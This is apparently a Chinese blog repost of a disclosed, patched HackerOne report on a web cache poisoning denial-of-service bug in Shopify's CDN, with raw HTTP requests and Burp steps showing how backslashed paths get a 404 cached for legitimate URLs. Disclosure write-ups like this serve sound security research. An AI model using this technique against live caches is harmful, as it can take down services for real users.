声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。 |
防走失:https://gugesay.com/archives/4425
不想错过任何消息?设置星标↓ ↓ ↓
概要
白帽子在 Shopify 的 CDN 域名上发现了一处 Web 缓存投毒漏洞,其中缓存服务器将反斜杠和正斜杠视为等效,而源服务器对包含反斜杠的路径返回 404 错误。
这种差异允许攻击者使用反斜杠而不是正斜杠发送请求,导致 404 错误被缓存并用于合法请求,从而创建了一个可能导致多个 Shopify 服务受影响的拒绝服务条件。该漏洞通过在所有受影响的 CDN 域名上实施一致的路径处理得到了修复。
复现步骤
-
打开 cdn.shopify.com 上托管的任意文件(例如: https://cdn.shopify.com/static/javascripts/vendor/bugsnag.v7.4.0.min.js
),并使用 Burp Suite 拦截该请求:
GET /static/javascripts/vendor/bugsnag.v7.4.0.min.js HTTP/1.1Host: cdn.shopify.comConnection: closeUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
-
为了使该请求返回 404 错误,首先将 URL 中的斜杠替换为反斜杠 -
在进行任何测试之前,须在 URL 末尾添加一个缓存破坏器查询参数,以防止对使用该网站的所有用户造成拒绝服务攻击。(例如,在 URL 末尾添加 ?cachebuster={随机值}
),新的请求如下:
GET /staticjavascriptsvendorbugsnag.v7.4.0.min.js?cachebuster=123 HTTP/1.1Host: cdn.shopify.comConnection: closeUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
-
发送此之前的请求将返回 404,并且将具有与 https://cdn.shopify.com/static/javascripts/vendor/bugsnag.v7.4.0.min.js?cachebuster=123
相同的缓存键
-
为了缓存该响应,需要在 Burp Repeater 中多次发送损坏请求,或者使用 Burp Intruder 来持续缓存错误页面 -
现在,尝试在浏览器中打开 https://cdn.shopify.com/static/javascripts/vendor/bugsnag.v7.4.0.min.js?cachebuster=123
,将显示为 404 错误页面,而不是 javascript 文件
同样的漏洞也适用于 shopify-assets.shopifycdn.com,该域名会被其他 Shopify 网站如 accounts.shopify.com 使用。
赏金结算
报告原文:https://hackerone.com/reports/1695604
加入星球,随时交流:
(会员统一定价):128元/年(0.35元/天)感谢阅读,如果觉得还不错的话,欢迎分享给更多喜爱的朋友~
原文始发于微信公众号(骨哥说事):【$3,800】Shopify 缓存中毒导致DoS漏洞披露
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论